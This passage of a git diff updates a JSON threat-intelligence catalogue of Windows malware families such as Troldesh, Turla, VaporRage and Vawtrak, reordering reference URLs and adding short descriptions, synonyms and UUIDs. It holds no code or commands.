"https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", - "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://github.com/5loyd/trochilus/" + "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus", + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", + "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf" ], "synonyms": [], "type": [] @@ -45589,19 +48049,19 @@ "value": "Trochilus RAT" }, { - "description": "", + "description": "According to Malwarebyte, Ransomware is a type of malware that prevents users from accessing their system or personal files and demands ransom payment in order to regain access. Ransom.Troldesh is spread by malspam, typically in the form of attached .zip files. This ransomware sometimes uses a CMS on a compromised site to host downloads.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh", - "https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/", - "https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/", - "https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/", - "https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/", - "https://securelist.com/the-shade-encryptor-a-double-threat/72087/", - "https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/", - "https://support.kaspersky.com/13059", "https://blog.avast.com/ransomware-strain-troldesh-spikes", "https://www.zdnet.com/article/shade-troldesh-ransomware-shuts-down-and-releases-all-decryption-keys/", + "https://support.kaspersky.com/13059", + "https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/", + "https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/", + "https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/", + "https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/", + "https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/", + "https://securelist.com/the-shade-encryptor-a-double-threat/72087/", "https://github.com/shade-team/keys", "https://www.welivesecurity.com/2019/01/28/russia-hit-new-wave-ransomware-spam/" ], @@ -45681,8 +48141,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian", - "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", - "https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day" + "https://unit42.paloaltonetworks.com/playful-taurus/", + "https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day", + "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/" ], "synonyms": [], "type": [] @@ -45709,9 +48170,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc", "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", + "https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html", + "https://unit42.paloaltonetworks.com/ironnetinjector/", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://unit42.paloaltonetworks.com/ironnetinjector/" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -45724,10 +48188,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://twitter.com/Arkbird_SOLG/status/1304187749373800455", "https://www.emanueledelucia.net/the-bigboss-rules-something-about-one-of-the-uroburos-rpc-based-backdoors/", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://twitter.com/Arkbird_SOLG/status/1304187749373800455" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "BigBoss", @@ -45745,11 +48210,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup", - "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", - "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" ], "synonyms": [ "Notestuk" @@ -45764,8 +48229,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash", - "https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf", - "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf" + "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", + "https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf" ], "synonyms": [ "SkinnyD" @@ -45775,6 +48240,21 @@ "uuid": "d7b0ccc8-051c-4ab1-908e-3bd1811d9e2e", "value": "TypeHash" }, + { + "description": "According to PCrisk, Typhon is a stealer-type malware written in the C# programming language. Newer versions of this program are called Typhon Reborn (TyphonReborn). Malware within this classification is designed to extract data from infected systems. The older variants of Typhon have a broader range of functionalities, while Typhon Reborn versions are streamlined stealers.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.typhon_stealer", + "https://blog.talosintelligence.com/typhon-reborn-v2-features-enhanced-anti-analysis/" + ], + "synonyms": [ + "Typhon Reborn V2" + ], + "type": [] + }, + "uuid": "fb5e364c-0f91-4b35-89cc-52eb4fc2a338", + "value": "Typhon Stealer" + }, { "description": "", "meta": { @@ -45839,8 +48319,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos", - "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns", - "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html" + "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html", + "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns" ], "synonyms": [], "type": [] @@ -46213,19 +48693,6 @@ "uuid": "969d1054-b917-4fb8-b3f8-1e33926fdb65", "value": "Unidentified 061" }, - { - "description": "", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063", - "https://twitter.com/KevinPerlow/status/1160766519615381504" - ], - "synonyms": [], - "type": [] - }, - "uuid": "d34ac949-3816-436b-a719-b4ced192388e", - "value": "Unidentified 063 (Lazarus Keylogger)" - }, { "description": "This .net executable can receive commands from c2 sever, upload and download files according to the returned content, perform an uninstall, or modify the registry to achieve persistence across reboots. At the end, it downloads a Python-based RAT, called PeppyRAT.", "meta": { @@ -46349,8 +48816,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076", "https://www.youtube.com/watch?v=8x-pGlWpIYI", - "https://www.zscaler.com/blogs/research/return-higaisa-apt", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://www.zscaler.com/blogs/research/return-higaisa-apt" ], "synonyms": [], "type": [] @@ -46467,9 +48934,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089", - "https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/" + "https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/", + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/" + ], + "synonyms": [ + "5.t Downloader" ], - "synonyms": [], "type": [] }, "uuid": "685c9c30-aa9f-43ee-a262-43c17c350049", @@ -46480,7 +48950,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_090", - "https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/" + "https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html" ], "synonyms": [], "type": [] @@ -46540,6 +49011,130 @@ "uuid": "db8f94e9-768d-4ad1-befb-55b4b820174f", "value": "Unidentified 094" }, + { + "description": "Wiper, using EldoS RawDisk for low level access to disks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095", + "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-264a-iranian-cyber-actors-conduct-cyber-operations-against-the-government-of-albania.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-264a" + ], + "synonyms": [], + "type": [] + }, + "uuid": "925f7a39-9674-4209-a31a-e09c27117328", + "value": "Unidentified 095 (Iranian Wiper)" + }, + { + "description": "Keylogger.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0c87cf0d-fa54-4962-817d-eac4c817b21a", + "value": "Unidentified 096 (Keylogger)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_097", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "32fe5b04-1af6-4696-a329-604a9f637c85", + "value": "Unidentified 097 (Polonium Keylogger)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098", + "https://ti.qianxin.com/blog/articles/analysis-of-apt29%27s-attack-activities-against-italy/", + "https://www.freebuf.com/articles/paper/339618.html", + "https://cert-agid.gov.it/news/il-malware-envyscout-apt29-e-stato-veicolato-anche-in-italia/", + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "db87fd2d-08ff-431d-86b8-35e31c9fcc9b", + "value": "Unidentified 098 (APT29 Slack Downloader)" + }, + { + "description": "This malware uses DropBox for C2 and was spread via spear-phishing attack at government organizations. It is different from win.boombox, which is another APT29 attributed malware using DropBox (written in .NET).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_099", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/APT29_C2-Client_Dropbox_Loader/APT29-DropboxLoader_analysis.md" + ], + "synonyms": [], + "type": [] + }, + "uuid": "541a0a05-5c7f-4646-a96b-a4d26d5fa89d", + "value": "Unidentified 099 (APT29 Dropbox Loader)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100", + "https://mp.weixin.qq.com/s/Hzq4_tWmunDpKfHTlZNM-A" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0ee92ce5-e33d-4393-a466-6b5f6a1ca6a5", + "value": "Unidentified 100 (APT-Q-12)" + }, + { + "description": "Potential Lazarus sample.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101", + "https://twitter.com/RedDrip7/status/1595365451495706624" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cca4f240-ac69-437e-b02a-5483ebef5087", + "value": "Unidentified 101 (Lazarus?)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_102", + "https://labs.k7computing.com/index.php/the-donot-apt/", + "https://blog.morphisec.com/apt-c-35-new-windows-framework-revealed" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6d22d9e1-b38d-4a6f-a4bb-1121ced4adfc", + "value": "Unidentified 102 (Donot)" + }, + { + "description": "A malware that uses .NET to load unmanaged (shell)code which has some resemblance to BADHATCH, the IP found in the sample was referred to in coverage on WHITERABBIT ransomware attacks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103", + "https://otx.alienvault.com/pulse/61e7f74a936eea5d44026b8e" + ], + "synonyms": [], + "type": [] + }, + "uuid": "07106811-cd07-4d05-906d-c05208758b00", + "value": "Unidentified 103 (FIN8)" + }, { "description": "", "meta": { @@ -46559,8 +49154,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.upas", - "https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html", - "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/" + "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/", + "https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html" ], "synonyms": [ "Rombrast" @@ -46575,23 +49170,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre", + "https://secrary.com/ReversingMalware/Upatre/", "https://marcoramilli.com/2020/06/24/is-upatre-downloader-coming-back/", "https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/", "https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/", - "https://secrary.com/ReversingMalware/Upatre/" + "https://unit42.paloaltonetworks.com/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "99d9110d-85a4-4819-9f85-05e4b73aa5f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "925390a6-f88d-46dc-96ae-4ebc9f0b50b0", "value": "Upatre" }, @@ -46612,20 +49199,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features", - "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", - "https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA", - "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/", - "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/", - "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", - "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", - "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/", + "https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan", "https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/", - "https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html", + "https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0", + "https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", + "https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/", + "https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/", + "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", "https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much" + "https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA", + "https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html", + "https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features" ], "synonyms": [ "Bebloh", @@ -46641,21 +49228,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos", - "https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation", - "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", - "https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", - "https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg", - "https://artemonsecurity.com/uroburos.pdf", + "https://artemonsecurity.com/snake_whitepaper.pdf", + "https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.circl.lu/pub/tr-25/", - "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", - "https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "https://exatrack.com/public/Uroburos_EN.pdf", "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", - "https://exatrack.com/public/Uroburos_EN.pdf" + "https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", + "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", + "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://artemonsecurity.com/uroburos.pdf", + "https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation", + "https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots" ], "synonyms": [ "Snake" @@ -46670,9 +49259,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit", - "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view", "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/" + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view" ], "synonyms": [], "type": [] @@ -46685,9 +49274,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry", - "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/", "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/" + "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf" ], "synonyms": [], "type": [] @@ -46700,8 +49289,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vadokrist", - "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf", - "https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/" + "https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/", + "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf" ], "synonyms": [], "type": [] @@ -46727,9 +49316,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.valuevault", + "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", "https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], "type": [] @@ -46750,13 +49339,30 @@ "uuid": "5bb80b4a-d304-460a-bb07-417dea64f213", "value": "vanillarat" }, + { + "description": "According to Mandiant, VaporRage or BOOMMIC, is a shellcode downloader written in C that communicates over HTTPS. Shellcode Payloads are retrieved from a hardcoded C2 that uses an encoded host_id generated from the targets domain and account name. BOOMMIC XOR decodes the downloaded shellcode payload in memory and executes it.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58" + ], + "synonyms": [ + "BOOMMIC" + ], + "type": [] + }, + "uuid": "5a76d7a1-486e-4f4e-9e23-e544ee9f2ef9", + "value": "VaporRage" + }, { "description": "In May 2019, ESET researchers observed a spike in ESET telemetry data regarding malware targeting France. After further investigations, they identified malware that distributes various types of spam. One of them is leading to a survey that redirects to a dodgy smartphone promotion while the other is a sextortion campaign. The spam targets the users of Orange S.A., a French ISP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky", - "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/", - "https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/" + "https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/", + "https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/" ], "synonyms": [], "type": [] @@ -46769,17 +49375,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/", "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", + "https://medium.com/@Ilandu/vawtrak-malware-824818c1837", + "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", + "https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/", + "http://thehackernews.com/2017/01/neverquest-fbi-hacker.html", + "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://www.secureworks.com/research/dyre-banking-trojan", "https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf", "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "http://thehackernews.com/2017/01/neverquest-fbi-hacker.html", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - "https://www.secureworks.com/research/dyre-banking-trojan", "https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak", - "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "Catch", @@ -46788,15 +49395,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "e95dd1ba-7485-4c02-bf2e-14beedbcf053", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b662c253-5c87-4ae6-a30e-541db0845f67", "value": "Vawtrak" }, @@ -46807,7 +49405,9 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.veeam", "https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger" ], - "synonyms": [], + "synonyms": [ + "Eamfo" + ], "type": [] }, "uuid": "f85bbceb-dc51-4c11-93a6-21a72255dcaf", @@ -46818,11 +49418,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker", - "https://twitter.com/malwrhunterteam/status/1093136163836174339", - "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", "https://twitter.com/malwrhunterteam/status/1095024267459284992", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/" + "https://twitter.com/malwrhunterteam/status/1093136163836174339", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" ], "synonyms": [ "Buran", @@ -46846,14 +49446,27 @@ "uuid": "5490d2c7-72db-42cf-a1a4-02be1b3ade5f", "value": "Velso" }, + { + "description": "Ransomware, which appears to be a rebranding of win.cuba.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta", + "https://www.malwarebytes.com/blog/threat-intelligence/2023/03/ransomware-review-march-2023" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bd774e26-f558-444b-abe6-c75868374d5e", + "value": "Vendetta" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.venom", - "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", "https://www.cybeseclabs.com/2020/05/07/venom-remote-administration-tool-from-venom-software/", - "https://blog.malwarelab.pl/posts/venom/" + "https://blog.malwarelab.pl/posts/venom/", + "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html" ], "synonyms": [], "type": [] @@ -46867,6 +49480,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk", "https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9", + "https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware", + 